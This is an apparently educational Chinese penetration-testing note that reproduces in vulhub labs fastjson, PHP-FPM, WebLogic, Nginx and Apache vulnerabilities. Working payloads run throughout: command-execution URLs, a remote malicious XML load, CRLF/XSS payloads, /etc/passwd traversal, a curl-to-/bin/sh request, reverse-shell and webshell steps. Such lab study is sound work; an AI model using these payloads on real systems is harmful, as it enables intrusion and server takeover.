首先多语言功能默认为禁用，先尝试包含 public/index.php 来确定是否存在漏洞：
http://192.168.1.9:8080/?lang=../../../../../public/index
如果漏洞存在，服务器会报错，返回一个500的页面
抓包------改包：在URL位置添加lang参数------可以看到存在漏
使用下面数据包写入shell或者其他指令
如果服务器返回pearcmd的命令行执行结果，说明漏洞利用成功：
此时访问http://192.168.1.9:8080/shell.php即可发现已经成功写入文件：
六、fastjson反序列化漏洞原理
6.1 fastjson框架特征？
如果应用仅接受GET请求且没有请求体，可以尝试构造一个错误的包含特定的fastjson特征
字符串的POST请求，如错误的JSON格式。
观察响应包是否包含fastjson这个字符串，以此来判断服务器是否使用了fastjson库，并且
可能存在反序列化漏洞。
6.2 fastjson 1.2.24反序列化任意命令执行漏洞
介绍：
Fastjson由阿里巴巴研发，是一款用Java语言编写的高性能JSON处理库，主要用于实现Java
对象与JSON字符串之间的转换。该库未采用Java原生的序列化机制，而是独立设计了一套序列化
方法。通过JSON.toJSONString和JSON.parseObject/JSON.parse 等接口，Fastjson提供了序列
化和反序列化的功能。
原理简介：
fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类
的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。
原理详解：
因为fastjson为了知道提交过来的数据是什么详细类型，加了autotype机制，每次都需要读
取一个叫做@type的属性。为了使Fastjson能够反序列化，Gadget类需要有一个无参的默认构造
方法，或者注解指定构造方法并添加相应参数。通过启用Feature.SupportNonPublicField这个特
性，才可以允许反序列化处理私有属性。@type注解允许指定反序列化器来调用任意类的set、get
或is方法。这种反序列化的特性可能被利用构造恶意利用链，且攻击者可以通过目标类的set方
法自由的设置类的属性值。
攻击者会利用反序列化特性，准备RMI和Web服务。将RMI服务的绝对路径注入到lookup方
法中，使受害系统的JNDI接口指向攻击者控制的RMI服务器。JNDI接口会从攻击者控制的Web服
务器远程加载恶意代码，并通过执行构造函数来实施远程代码执行RCE。
JNDI(Java命名和目录接口)是一组在Java应用中访问命名目录服务的API，用于在Java应用
程序中访问命名和目录服务。它允许将名称与对象关联起来，以便能通过名称来访问这些对象。
JNDI能够支持多种命名/目录服务，包括：
RMI(Java远程方法调用)
允许一个Java虚拟机中的对象调用另一个Java虚拟机中对象的方法。
LDAP(轻量级目录访问协议)
是一种目录服务协议，用于访问分布式目录信息。
CORBA(公共对象请求代理体系结构)
是一种标准体系结构，用于实现对象请求代理（ORB），以使不同的计算机系统上的对
象能够相互操作。
DNS(域名服务)
将域名和IP地址相互映射的服务，以便用户更易于记忆和使用。
影响版本：fastjson <= 1.2.24
漏洞复现：
需准备三台主机：这里主机B和C都用PCKail2023这台虚拟机
主机A：存在fastjson反序列化漏洞的主机（受害主机）
主机B：为构造的恶意类（包含要执行的命令），开启web服务
主机C：为RMI/LDAP服务
在整个远程命令执行流程：
1、黑客使用payload攻击主机A（该payload需要指定rmi/ldap地址）
2、主机A引发反序列化漏洞，发送了进行rmi远程方法调用，去连接主机C
3、主机C的rmi服务指定加载主机B的恶意java类，所以主机A通过主机C的rmi服务
最终加载并执行主机B的恶意java类
4、主机A引发恶意系统命令执行
来到受害主机A复现漏洞：使用vulhub靶场，启动fastjson对应漏洞的容器。
然后访问一下受害主机的网站：http://192.168.1.9:8090
来到黑客主机PCKail2023搭建环境：开启nginx服务
1、进入站点根目录
2、构造一个Java类(先删除之前创建的演示文件rce.xml)类名叫做TouchFile.java
3、编译此Java类
4、然后借助marshalsec工具启动RMI服务器，监听9999端口。
5、制定加载远程类TouchFile.class，后面要触发目标服务器的JNDI访问RMI服务器来下载恶意
的TouchFile.class到目标服务器。
6、使用marshalsec工具执行指令开启监听
7、开始抓包向靶场服务器发送Payload，并带上RMI的地址：
8、再次查看容器内的tmp目录，看见success目录创建成功，漏洞复现成功。
9、还可以通过nc来完成反弹shell动作，可以自行尝试一下。
6.3 fastjson 1.2.47远程命令执行漏洞
漏洞原理：
fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以
利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
影响版本：fastjson <= 1.2.47
漏洞复现：
过程与fastjson 1.2.24 反序列化任意命令执行一样，仅最后一步发送的payload数据包不
一样，其它全部一样。
七、Fastcgi协议功能模块漏洞
CGI（公共网关接口）：
CGI是一种协议，它定义了Nginx或者其他Web Server传递过来的数据格式，全称是（Common
Gateway Interface，CGI），CGI是一个独立的程序，独立与WebServer之外，任何语言都可以写
CGI程序，例如C、Perl、Python等。
FastCGI：
FastCGI是一种协议，前身是CGI，是优化版的CGI，拥有5倍以上的稳定性和性能提升。
PHP-CGI：
这是PHP（一种Web应用程序开发语言）与Web服务器之间的接口程序，它实现了PHP
通过CGI协议与服务器之间的交互，本身只能解析请求，返回结果，不会做进程管理。
PHP-FPM（FastCGI Process Manager）：
这是PHP另一种与Web服务器交互的接口程序，它不仅实现了PHP通过FastCGI 协议与服务
器通信，还提供了更为智能的进程管理功能，以优化性能和资源管理。
Wrapper：
字母意思是包装的意思，包装的是谁呢？包装的是FastCGI，通过FastCGI接口，Wrapper接
收到请求后，会生成一个新的线程调用PHP解释器来处理数据。
也就是说，fastcgi作为一种通信协议。提供了nginx程序和php-fpm通信的桥梁。作为一种
规范，保障了服务器接收到的php请求可以完整快速的传递到php-fpm魔模块中进行处理。
详解：https://blog.csdn.net/qq_55316925/article/details/128974535
7.1 PHP-FPM Fastcgi 未授权访问漏洞
原理详解：
不当配置的php-fpm导致安全漏洞。如果fastcgi_pass指令错误地设置为 0.0.0.0，就会致
使FastCGI接口暴露于公网中，允许任何网络用户向php-fpm 发送FastCGI 协议数据。这种配置
不当可能被利用来修改 php.ini 配置文件，从而引发远程代码执行攻击。值得注意的是，此漏洞
影响所有版本的PHP。
原理简介：
到了漏洞成因这一块呢还是十分清晰的，既然是未授权访问那肯定少不了0.0.0.0：9000这样
一条配置了。就是因为管理员在配置时，错误的将php-fpm的9000端口访问限制配置成了允许所
有IP访问。造成没授权的人也能访问这个端口。为别有用心的攻击者提供了攻击的切入点。
利用条件：
1、php-fpm配置fastcgi_pass地址0.0.0.0
2、可以与目标服务器通信(暴露在公网)
3、目标服务器有可访问的php文件
利用过程：
利用fastcgi接口向php-fpm发送恶意配置
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
auto_prepend_file配置
加载任意php文件前，先加载配置内容php://input，而php://input 伪协议需要将如下配置
开启：'allow_url_include = On'
访问目标中某个PHP文件，触发配置规则，若目标服务器根目录下没有php文件，则可以访问
/usr/local/lib/php/PEAR.php，这是php自带文件，可以直接访问该文件。
然后发送fastcgi数据给php-fpm后，php-fpm根据SCRIPT_FILENAME值转发给 php解析，更
改php.ini配置，然后执行文件或代码。
漏洞复现：vulhub靶场启动环境
在另一台PCKali2023虚拟机上直接使用该漏洞的EXP来检测：
工具执行指令：在对应目录执行此工具指令
python3 fpm.py 192.168.1.9 /usr/local/lib/php/PEAR.php -c '<?php echo `id`;exit;?>'
获取ID成功
7.2 Fastcgi_nginx_PHP-FPM 远程代码执行漏洞（CVE-2019-11043）
漏洞原理：
使用某些特定配置的Nginx + PHP-FPM服务器存在的漏洞，允许远程执行代码。该漏洞需要在
nginx.conf中进行特定配置才能触发，因配置不当，Nginx的fastcgi_split_path_info模块在处
理带%0a的请求时，对换行符 \n 处置不当使得将 PATH_INFO 值置为空，从而导致 php-fpm 组件
在处理PATH_INFO时存在漏洞，攻击者通过精心的构造和利用，可以导致远程代码执行。
具体配置如下：
location ~ \^/\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
黑客可用换行符％0a来破坏fastcgi_split_path_info指令中的Regexp。Regexp被
损坏导致PATH_INFO为空，从而触发该漏洞。
受影响版本：PHP 7.0 版本 、PHP 7.1 版本 、PHP 7.2 版本 、PHP 7.3 版本
漏洞复现：vulhub靶场启动环境
访问靶场看效果：
该漏洞也是直接使用该漏洞的利用工具来检测
然后访问携带指令的网址即可执行指令
http://192.168.1.9:8080/index.php?a=id
http://192.168.1.9:8080/index.php?a=whoami
八、应用服务器漏洞之weblogic漏洞原理
8.1 CVE-2020-14882权限验证绕过漏洞
原理：通过构造特定的URL，让未授权的用户绕过管理控制台权限验证，访问后台系统。不过访问
的是低权限用户，该账户无法安装新应用，也直接执行任意代码。
测试权限绕过漏洞
访问如下URL即可未授权访问管理后台：访问失败就清空缓存多访问几次
http://192.168.1.9:7001/console/css/%252e%252e%252fconsole.portal
访问后台后，我们发现是低权限用户，无法直接执行任意代码。
此时需要利用第二个漏洞(CVE-2020-14883)，两种利用方式。
8.2 CVE-2020-14883任意命令执行漏洞
利用此漏洞允许后台任意用户通过HTTP协议执行任意命令。用这两个漏洞组成的利用链，可
通过一个HTTP 请求在远程Weblogic 服务器上以未授权的任意用户身份执行命令。
漏洞利用方法1：
通过类：com.tangosol.coherence.mvel2.sh.ShellSession
直接访问如下URL，即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令：
http://192.168.1.9:7001/console/css/%252e%252e%252fconsole.portal?_nfpb
=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession
("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
漏洞利用方法2：
通过类：com.bea.core.repackaged.springframework.context.support.FileSystemX mlApplic
ationContext
在自己的站点上构造一个XML文件，代码poc网上有。
然后通过如下URL即可让Weblogic加载此XML文件并执行其中的命令
http://192.168.1.9:7001/console/css/%252e%252e%252fconsole.portal?_nfpb
=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.
support.FileSystemXmlApplicationContext("http://192.168.1.11/rce.xml")
8.3 Weblogic弱口令漏洞
漏洞说明：Weblogic后台管理系统登录用户名和密码一般都有一些默认值，不限版本，如果没有
修改密码的话会出现弱口令漏洞，可以百度查看常见的用户名和密码组合。
漏洞复现：使用vulhub靶场打开漏洞容器
1、访问网址：http://192.168.1.9:7001/console
会自动跳转到登录页面：http://192.168.0.27:7001/console/login/LoginForm.jsp
2、使用weblogic常用用户名和密码进行尝试登录后台，登录成功。
3、正常渗透测试到到此即可上报，若想控制服务器，可在后台系统部署项目位置上传木马。
漏洞利用
上传部署jobfan.war木马文件
直接用网站和War包里木马文件名访问：192.168.1.9:7001/jobfan/2010.jsp------利用成功。
8.4 Weblogic未授权远程代码执行漏洞(CVE-2023-21839)
漏洞说明
CVE-2023-21839漏洞允许未授权的远程用户通过IIOP/T3协议执行JNDI lookup查找操作。
在JDK版本较低或系统中存在javaSerializedData 工具的情况下，这可能导致远程代码执行RCE
漏洞。由于Weblogic的t3/iiop协议支持远程对象绑定到服务端并可通过lookup查询。当远程对
象是基于OpaqueReference是，查询这些对象时，服务端会调用其getReferent方法。
在weblogic.deployment.jms.ForeignOpaqueReference类中，实现了getReferent方法，并
使用了context.lookup(this.remoteJNDIName)进行对象查询。 因此攻击者可以利用rmi/ldap远
程协议执行远程命令。
影响版本：Oracle Weblogic Server 12.2.1.3.0------12.2.1.4.0------14.1.1.0.0
漏洞复现：用vulhub提供的容器复现，借助专门检测此漏洞的exp工具在kail进行检测。
1、创建检测程序
2、借助JNDIExploit工具来利用此RCE漏洞反弹shell：
3、使用JNDIExploit-1.2-SNAPSHOT.jar在kali上设置监听：
4、还是在此虚拟机，再打开一个终端开启监听端口
5、使用CVE-2023-21839工具来进行攻击测试：将1389端口转发到监听端口
6、若发现JNDIExploit转发监听的窗口报错原因：是JDK版本的问题，需jdk1.8.0.202版本。
7、安装最新java运行环境，重新运行JNDIExploit转发监听：
8、反弹shell成功
8.5 XMLDecoder反序列化漏洞（CVE-2017-10271）
漏洞原理
Weblogic的WLS Security组件对外提供webservice服务，其中使用XMLDecoder 来
解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻
击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
影响版本10.3.6.0，12.1.3.0.0，12.2.1.1.0
漏洞复现：使用vulhub靶场来复现
反弹shell演示
1、访问网站：然后访问这个页面抓包，改包。
修改数据包如下：https://vulhub.org/#/environments/weblogic/CVE-2017-10271/
2、用另一个主机开启nc监听，用于接受反弹回来的shell
3、发送数据包
4、反弹shell成功
还可以直接植入webshell
1、修改数据包：在指定位置写入jsp木马
2、访问写入代码的网址：http://192.168.1.9:7001/bea_wls_internal/test.jsp
3、写入成功
漏洞原理
CVE-2020-14882和CVE-2020-14883是两个安全漏洞。CVE-2020-14882 可以让未授权
的用户绕过管理控制台权限验证，访问后台系统。而CVE-2020-14883则允许后台任意用户
通过HTTP协议执行任意命令。利用这两个漏洞组合成的利用链，攻击者仅通过一个GET请
求，就能在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本：WebLogic10.3.6.0.0------12.1.3.0.0------12.2.1.3.0------12.2.1.4.0------14.1.1.0.0
漏洞复现：使用vulhub来复现
1、先测试权限绕过漏洞(CVE-2020-14882)，访问如下URL即可未授权访问管理后台：
http://192.168.1.9:7001/console/css/%252e%252e%252fconsole.portal
访问失败就清空缓存多访问几次
- 访问后台后，我们发现是低权限用户，无法直接执行任意代码。
3、此时需要利用第二个漏洞(CVE-2020-14883)，两种利用方式。
方式1：通过com.tangosol.coherence.mvel2.sh.ShellSession
方式2：通过com.bea.core.repackaged.springframework.context.support.
FileSystemXmlApplicationContext
方法1：通过执行下面代码创建此文件：
访问URL时在对应位置添加指令即可利用com.tangosol.coherence.mvel2.sh.ShellSession类来
执行命令：会报错，但是指令会执行成功，这就完成了任意操作系统指令的执行。
如上方法只能在Weblogic 12.2.1以上版本利用。
因为10.3.6版本不存在com.tangosol.coherence.mvel2.sh.ShellSession 类。
方法2：此类对所有版本有效，最早在CVE-2019-2725被提出：com.bea.core.repackaged.
springframework.context.support.FileSystemXmlApplicationContext
1、首先要构造一个XML文件，并保存在自己创建的服务器上。
此服务器要求使用Weblogic可以访问到。如：http://example.com/rce.xml
2、在Kali虚拟机上直接启动nginx，然后在nginx站点根目录下面创建上面的rce.xml文件。
3、直接访问这个xml文件看效果：http://192.168.1.11/rce.xml
4、然后通过URL即可让Weblogic加载此XML文件并执行其中的命令：
5、进入docker容器内发现success2文件创建成功，表示代码指令执行成功
此利用方法缺点：需要Weblogic的服务器能够访问到恶意XML文件。
8.6 Weblogic的其它反序列化漏洞
下面两个反序列化漏洞自行研究，其中2019年那个在安全开发部分也会讲到。
Weblogic WLS Core Components反序列化命令执行漏洞(CVE-2018-2628)
漏洞说明
Weblogic Server 通过T3协议实现RMI通信，该协议用于在其服务器实例与Java程序(无论
是客户端还是其它Weblogic Server实例)之间传输数据。服务器实例会监控连接至应用程序的每
个Java虚拟机(JVM），并建立T3通信连接，以此将数据流量导向相应的Java虚拟机。T3协议在
WebLogic控制台端口上默认为启用。然而这一特性也可能被攻击者利用， 通过发送恶意反序列化
数据来进行反序列化操作，实现对存在缺陷的Weblogic组件执行远程代码。
影响版本：Oracle Weblogic Server10.3.6.0.0------12.1.3.0.0------12.2.1.2.0、O------12.2.1.3.0
Weblogic反序列化远程代码执行漏洞（CVE-2019-2725）
漏洞说明
WebLogic Server的wls9-async组件负责提供异步通信服务， 并在某些WebLogic 版本中默
认安装。然而该组件在处理反序列化输入时存在安全漏洞。 攻击者可以利用这一缺陷，通过发送
特定构造的恶意HTTP请求，来实现对目标服务器的未授权访问，并在远程执行命令，从而获得服
务器控制权。
影响版本：Oracle WebLogic Server 10.*、Oracle WebLogic Server 12.1.3
影响组件：bea_wls9_async_response.war、wsat.war
九、Web服务器之Nginx漏洞介绍
9.1 Nginx的三个配置错误漏洞
三个配置不当导致的nginx漏洞，对所有版本的nginx都有影响，且容易引起忽视。
①CRLF注入漏洞
漏洞原理：
CRLF是指"回车CR + 换行LF"组合，编码为\r\n，在十六进制中为0x0d和0x0a分别代表回
车(Carriage Return)和换行(Line Feed)字符。在网络通信中，CRLF常被用作数据分隔符。特别
是在HTTP协议中，消息头与消息头之间、消息头与消息体之间都是由CRLF 序列来分隔。浏览器
依据这些CRLF分隔符来解析HTTP响应，提取出网页内容进行显示。
如果说攻击者能控制用户输入，然后在HTTP响应的头部实施回显，就可能通过注入CRLF字符
来恶意结束响应头部，从而在响应体中插入恶意内容。这种攻击方式被称为CRLF注入或HTTP响应
拆分/截断，它能允许攻击者插入额外的HTTP头部或修改现有头部，可能导致诸如跨站脚本（XSS）
等安全问题。
示例：111%0d%0a222%0d%0a%0d%0a333
%0d%0a代表一个回车和换行。结果单个CRLF字符会导致文本在浏览器中换行，而两个连续的
CRLF字符则会插入一个空行。这种插入可用于HTTP响应头部，从而影响响应完整性和内容展示。
CRLF注入漏洞与XSS 漏洞在攻击方式上有相似之处，它们都涉及到攻击者向Web应用程序输
入恶意数据。区别在于CRLF注入漏洞主要影响HTTP响应头，而XSS漏洞则通常影响Web页面的主
体内容。通常可以采用类似于检测XSS的方法检测CRLF注入漏洞：通过修改HTTP参数或URL来注
入恶意CRLF字符，并检查这些字符是否出现在HTTP响应头中。
总结，CRLF注入是利用回车换行符进行攻击，通过注入不同数量的CRLF字符，攻击者可以操
纵应用程序设置任意响应头，甚至控制响应正文。此漏洞可能导致多种安全问题，包括操纵 HTTP
响应头中键值对、执行XSS攻击、发起缓存病毒攻击、以及进行日志伪造等。
漏洞环境搭建：启动vulhub靶场环境，启动后，会开启8080，8081，8082端口。
直接访问8080端口看效果：IP地址为 192.168.1.9
漏洞复现：抓包------添加会话固定payload：/%0aSet-cookie:JSPSESSID%3Dpanch
设置cookie就可以完成会话固定的攻击行为，以后用户访问此网站会被动用到此cookie身份。
查看配置：可见，通过注入就可以控制响应头键值对？是什么原因？
查看nginx配置文件：
某些网站为统一用户访问的域名或访问协议，在跳转过程中，需保证用户访问的页面不变，自
动跳转到正确网址，所以需从Nginx获取用户请求的文件路径，然后Nginx自动完成跳转，这就需
要对Nginx进行配置。
查看Nginx文档，可以发现有三个表示uri的变量可以用于自动跳转网址：
uri、document_uri、$request_uri
因uri和document_uri是解码后的请求路径，可能包含换行符，造成CRLF注入漏洞。
CRLF注入XSS攻击代码
用burp 抓包：在发送两连续的换行\r\n后，可直接修改返回报文的返回体，插入js代码引发XSS
payload如下：/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
注意问题：
浏览器的Filter(过滤器)是应对反射型XSS做的保护策略，当url中含有XSS相关特征时会
过滤掉不显示在页面中，所以不能触发XSS。
当数据包中 HTTP头含有X-XSS-Protection且值为 0 时，浏览器才不会开启Filter。
将X-XSS-Protection:0 注入到数据包中，再用两个CRLF来注入XSS 代码，来绕过Filter，并执
行反射型 XSS。payload如下：
/%0aX-XSS-Protection:%200%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
CRLF Payload如下：
//探测漏洞：
%0d%0aheader:header
%0aheader:header
%0dheader:header
//开放重定向：
/www.google.com/%2f%2e%2e%0d%0aheader:header
//CRLF-XSS：
%0d%0aContent-Length:35%0d%0aX-XSS
Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
//XSS绕过：
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent
Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/
//Location：
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent
Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
漏洞防御：
- 对用户数据进行合法性校验，对特殊字符进行编码，如<、>、'、"、CR、LF等，限制用户输
入CR和LF，或对CR和LF字符正确编码后再输出，以防止注入自定义HTTP头。
2、创建安全字符白名单，只接受白名单中的字符出现在 HTTP 响应头文件中。
3、在将数据传送到 http 响应头之前，删除所有的换行符。
②目录穿越漏洞
漏洞说明：
这个常见于Nginx做反向代理的情况，动态部分被proxy_pass传递给后端端口，而静态文件
需要Nginx来处理。
假设静态文件存储在/home/目录下，而该目录在URL中名字为files，那么就需要用alias设
置目录的别名，看配置：一个有斜杠后缀，一个没有。
效果：访问http://example.com/files/readme.txt就可以获取/home/readme.txt文件
漏洞原理：
注意：URL上/files没有加后缀 /，而alias设置的/home/是有后缀 / 的，这个 / 就导致我
们可以从 /home/ 目录穿越到它的上层目录。
漏洞复现：
访问刚刚启动的镜像：http://192.168.1.9:8081/files../
此时获得一个目录穿越漏洞，可以进行任意文件下载。
③HTTP header头覆盖
这个示例现在基本不能复现出来了，但是也是有参考价值。
Nginx安全配置策略说明
在nginx中可以添加很多安全配置响应策略，主要用add_header来指定安全策略
add_header X-Frame-Options SAMEORIGIN;
add_header X-Content-Type-Options: nosniff;
add_header Content-Security-Policy "default-src 'self' ";
add_header X-Xss-Protection 1;
除上述之外，还有很多可以自行研究一下：
X-Frame-Options
此响应头用来给浏览器指示是否允许一个页面在<frame>，<iframe>或<object>标签中
展现。网站可以使用此功能， 来确保自己网站的内容没有被嵌到别人的网站中去，也从而
避免了点击劫持(clickjacking)的攻击。
X-Content-Type-Options
此配置用来指定浏览器对未指定或错误指定的 Content-Type 资源真正类型的猜测行
为，nosniff 表示不允许任何猜测，互联网上的资源有各种类型，通常浏览器会根据响应
头的 Content-Type 字段来分辨它们的类型。如：text/html代表html文档，image/png
代表PNG图片，text/css是CSS样式文档。而有些资源的Content-Type 是错的或者未定
义的。这时某些浏览器会启用MIME sniffing来猜测该资源的类型，解析内容并执行。
Content-Security-Policy
主要是用来定义页面可以加载哪些资源，减少 XSS 的发生。
X-Xss-Protection
顾名思义，这个响应头是用来防范XSS的。现在主流浏览器都支持，并且默认都开启
了XSS保护，用这个header可以关闭它。
X-Frame-Options配置演示：
在桌面创建iframe.html演示文件
在火狐浏览器打开此文件
将上一个目录穿越漏洞的网址写入文件
保存再次用火狐打开此文件：发现网站出现在标签里
这就是Frame-Options漏洞，也叫点击劫持漏洞：添加X-Frame-Options配置预防。
可以用来钓鱼，劫持用户在网站里填写的东西。（将边框去除，几乎看不出网站的异常）
了解Content-Security-Policy等策略：看笔记
9.2 Nginx解析漏洞
路径遍历漏洞原理
大致原理：该漏洞与nginx、php版本无关，属于配置不当造成的解析漏洞。
在php.ini配置文件中有个cgi.fix_pathinfo配置。
配置被注释掉时，其值默认为1，表示开启。
取消注释后，值1为开启，值0为关闭。
①配置漏洞示例
开启Nginx的cgi.fix_pathinfo配置
上传一个木马文件php.php到根目录并改名为php.jpg
尝试访问：默认无法解析
访问路径后添加一个不存在的php文件：http://192.168.1.7/pikachu/php.jpg/aaa.php
此时会访问到前一个文件：原理如下
若nginx.conf配置没问题，则nginx会先找aaa.php文件是否存在，若存在则找php解释器
来执行代码，不存在则nginx会直接返回错误信息，提示找不到该文件。
但若nginx.conf配置不当，会导致nginx把.php后缀的文件交给fastcgi处理，首先nginx
看到路径中要找aaa.php文件，会直接交给fastcgi配置，而fastcgi配置又去找php解释器去处
理该路径，而php开启了cgi.fix_pathinfo配置，那么php解释器处理此路径时，发现没有aaa.php
文件，它就会找路径中上一层路径的文件作为aaa.php来运行，若找到的是web.jpg文件，就会将
web.jpg当作aaa.php来运行，所以代码被执行。
漏洞修复：此配置虽然被注释，但默认为开启状态，影响较大。
取消注释：将值设置为0来关闭配置
9.3其它漏洞形式
①路径遍历漏洞
www.xxxx.com/UploadFiles/image/1.jpg/1.php
②%00空子节截断漏洞
www.xxxx.com/UploadFiles/image/1.jpg .php
除apache外，nginx也有%00截断漏洞，其效果是1.jpg被当成php文件来解析。
www.xxxx.com/UploadFiles/image/1.jpg/ \0.php也算是00截断的一种。
若Nginx <0.8.03版本，存在空字节代码执行漏洞
漏洞修复：添加配置，在Nginx配置文件中添加如下代码：
意为当匹配到类似test.jpg/a.php的URL时，将返回403错误代码。
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}
9.4 Nginx本身的漏洞(了解不多)
针对Nginx的漏洞修复，通常所说的Nginx固定版本漏洞，是指在Nginx自身程序代码中存在
的设计缺陷或程序错误，这类漏洞通常只会影响特定版本的 Nginx。为修复这些固有漏洞，一般按
照官方发布的补丁进行及时更新，或者直接升级到更高版本的Nginx以获得安全增强和功能改进。
① Nginx的DNS解析漏洞（CVE-2021-23017）
Nginx在处理DNS响应时，由于ngx_resolver_copy()中的off-byone越界写入错误， 将允许
攻击者在堆分配的缓冲区中写入超出边界的点字符('.', 0x2E)。配置解析程序原语时，响应nginx
服务器DNS请求的DNS响应可能会触发该漏洞。
通过使用0x2E构造的数据包覆盖下一个堆块元数据的最低有效字节，从而导致能向nginx服
务器提供DNS响应的攻击者可实现拒绝服务攻击或远程代码执行攻击。由于nginx中缺少DNS欺骗
防御措施，且在检查DNS事务ID之前调用了易受攻击的函数，因此攻击者可通过在可行时间内向
目标服务器发送恶意DNS响应来利用漏洞实施攻击。
简而言之，攻击者可以通过点字符0x2E来覆盖下一个堆块的元数据，构造恶意的DNS响应来
触发漏洞，并在目标系统上执行任意代码。受影响Nginx版本：0.6.18-1.20.0
② CVE-2019-9511，CVE-2019-9513，CVE-2019-9516
在Nginx1.9.51-16.0及1.17.2版本中的HTTP/2实现中存在拒绝服务漏洞，攻击者以多个数
据流请求特定资源上的大量数据，通过操纵窗口大小和流优先级，强迫服务器将数据排列在1字节
的块中，导致CPU 及内存资源耗尽，造成拒绝服务。
③ CVE-2018-16844
在Nginx1.15.5之前和1.14.1版本中的HTTP/2实现过程中存在安全漏洞。远程攻击者可通过
发送恶意的请求利用该漏洞造成拒绝服务。
④CVE-2018-16843
在nginx 1.15.6和1.14.1之前版本的HTTP/2 实现过程中存在安全漏洞。攻击者可利用该漏
洞消耗大量的内存空间。
⑤CVE-2018-16845
在Nginx 1.15.5及之前和1.14.1版本中的ngx_http_mp4_module组件存在内存泄露漏洞，该
漏洞源于程序没有正确处理MP4文件。 远程攻击者可利用该漏洞获取敏感信息或造成拒绝服务。
⑥CVE-2017-20005
在Nginx1.13.6之前存在安全漏洞，该漏洞源于当autoindex模块遇到这个文件时，会导致一
个整数溢出。
**十、**Web服务器之Apache漏洞
10.1 Apache的3个漏洞示例（针对所有版本）
① Apache多后缀名解析漏洞
漏洞原理：
参考：https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/
漏洞复现：启动实验容器
访问如下文件路径：http://192.168.1.9/uploadfiles/apache.php.jpeg
访问上传的shell成功
② Apache HTTPD换行解析漏洞(cve-2017-15715)
漏洞说明：
CVE-2017-15715 的出现是由于Apache 在修复第一个后缀名解析漏洞时，使用正则表达式匹
配后缀，在解析php时xxx.php\x0A 将对php后缀进行解析，导致绕过一些服务器的安全策略。
影响版本:Apache HTTPd 2.4.0~2.4.29。
漏洞原理：
Apache HTTP服务器在对正则表达式特殊字符""的处理。在正则表达式中，""通常用来
指示字符串的结尾。如果配置文件中的RegExp 对象Multiline 属性被启用，那么"$"字符不仅
会匹配字符串的结束，还会匹配换行符（如"\n"或"\r"）。这意味着， 为了匹配字面意义上
的""字符，需要使用反斜杠进行转义，即"\\"。
漏洞利用：在上传文件时， 可以在文件名后添加一个十六进制编码的换行符（如"\x0A"），生
成一个类似"1.php\x0A"的文件名。由于Apache服务器在解析时会将这个换行符当作文件名的一
部分， 攻击者就能绕过那些基于文件后缀名检测的安全措施，即使后缀名在黑名单中，文件也能
被正常解析。
理论上只要使用正则来匹配文件后缀名，就有可能存在该漏洞。
受影响的Apache版本中，此漏洞在默认配置下就能被利用。故系统管理员要确保及时更新到最新
版本，或在服务器配置中禁用RegExp对象的Multiline属性，以防此类攻击。
漏洞复现：打开vulhub容器
访问网站：192.168.1.9:8080
上传1.php一句话木马文件并抓包------在16进制位置添加换行符编码
再次发送：没有提示bad files了
访问上传的这个文件------即可利用文件（建议上传phpinfo()文件，访问时效果明显）
此处可以用专门的Webshell工具利用木马。
③ Apache HTTP Server 2.4.49路径穿越漏洞(CVE-2021-41773)
漏洞说明：
利用这个漏洞可以读取到Apache服务器web目录以外的其他文件，或读取web中的脚本源码，
如果服务器开启CGI或cgid服务，还可进行任意代码执行。
影响版本：是Apache HTTP Server 2.4.49。
因修复不完整，在版本Apache HTTP Server 2.4.50仍有影响。
漏洞原理：
在对发送的请求中的路径参数进行规范化时，其使用的ap_normalize_path()函数会对路径参
数先进行url解码，然后判断是否存在 ../ 路径穿越符。检测到路径中存在 % 字符时，若其紧跟
的两个字符是十六进制字符，则程序会对其进行 url解码，将其转换成标准字符，如%2e会被转换
为 .点。若转换后的标准字符为 . 点，此时程序会立即判断其后两字符是否为 ./ ，从而判断是
否存在未经允许的 ../ 路径穿越行为。
若路径中存在%2e./形式，程序就会检测到路径穿越符。但当出现.%2e/或%2e%2e/的形式，程
序就不会将其检测为路径穿越符。原因是因为遍历到第一个 . 字符时，程序检测到其后两字符为%2
而非./，就不判断其为 ../符。因此攻击者可以用.%2e/或 %2e%2e/ 绕过程序对路径穿越符的检测，
从而读取位于Apache服务器web目录以外的其他文件，或读取web目录中的脚本文件源码，或者
在开启了 cgi 或 cgid 的服务器上执行任意命令。本质上，这一漏洞属于代码层面的逻辑漏洞。
漏洞复现：启动容器后访问------抓包改包
改包payload如下：/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
路径穿越成功，拿到敏感文件信息：
用POST请求执行指令，payload如下：/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
通过curl来利用
curl -v --data "echo;id" 'http://ip:8080/cgi-bin/../../../../bin/sh'
还可以使用该漏洞专门的利用工具
https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013
10.2 Apache其它解析漏洞
漏洞原理
Apache解析文件的规则是从右往左开始判断解析，若后缀名为不可识别解析的，就再往左判断。
